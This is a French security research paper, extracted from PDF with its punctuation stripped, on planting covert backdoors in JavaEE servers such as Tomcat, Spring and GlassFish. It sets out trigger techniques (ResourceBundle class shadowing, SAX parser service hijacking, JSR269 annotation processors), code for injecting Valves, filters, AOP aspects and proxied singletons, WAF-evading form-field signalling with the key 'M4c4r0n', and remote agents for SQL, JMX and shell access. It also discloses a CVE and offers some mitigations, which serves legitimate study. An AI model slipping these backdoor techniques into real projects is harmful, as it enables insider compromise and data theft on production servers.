du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
